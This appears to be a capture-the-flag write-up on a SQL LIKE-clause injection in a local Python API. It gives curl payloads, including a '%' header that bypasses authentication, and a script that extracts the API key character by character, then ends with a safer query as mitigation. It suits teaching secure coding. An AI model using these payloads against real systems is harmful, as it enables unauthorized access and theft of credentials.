Code Snippet Serie - 01 - SQL Like injection
Challenge Description
This challenge, authored by @Elweth, involves exploiting a vulnerability in a SQL Query which lets you abuse the LIKE clause to first bypass authentication and then retrieve the entire API key.
Vulnerability Overview
🛑 Vulnerability: The vulnerability lies in the SQL query, which remains vulnerable despite the use of the prepare statement system in Python.
Conventional SQL injection exploitation methods won’t work here, because the query is correctly prepared with python.
curl http://127.0.0.1:5000/api/admin -H "X-Api-Key: ' or 1=1-- -"
{"status":"false"}
Exploitation Process
SQL documentation informs us that the percentage sign % represents zero, one or more characters.
However, prepared statements only protect against SQL injections when used with literal values, and not with identifiers or patterns such as LIKE clauses.
- ⚙️ Authentication bypass:
- It’s possible to bypass the authentication by injecting a
%
in the SQL Query :
- It’s possible to bypass the authentication by injecting a
curl http://127.0.0.1:5000/api/admin -H "X-Api-Key: %"
{"status":"true"}
- ⚙️ API Key recover:
- It is possible to create a script that takes advantage of this injection to extract the API key character by character
from requests import get
from string import ascii_letters, digits
URL = "http://127.0.0.1:5000/api/admin"
found = ""
for i in range(36):
for c in list(ascii_letters + digits + "-"):
response = get(URL, headers={"X-Api-Key": f"{found + c}%"})
if response.status_code == 200:
found += c
print(f"X-Api-Key: {found}")
Mitigation
🔒 To mitigate this vulnerability, the following measures can be taken:
-
🚧 In any language, despite the use of prepared queries, you need to be very careful with the LIKE clause and use it wisely.
-
🛡️ Here is a more secure implementation of the token verification function :
def verify_token(api_key):
conn = sqlite3.connect('uuids.db')
c = conn.cursor()
c.execute("SELECT * FROM uuids WHERE uuid = ?", (api_key,))
result = c.fetchone()
conn.close()
return result is not None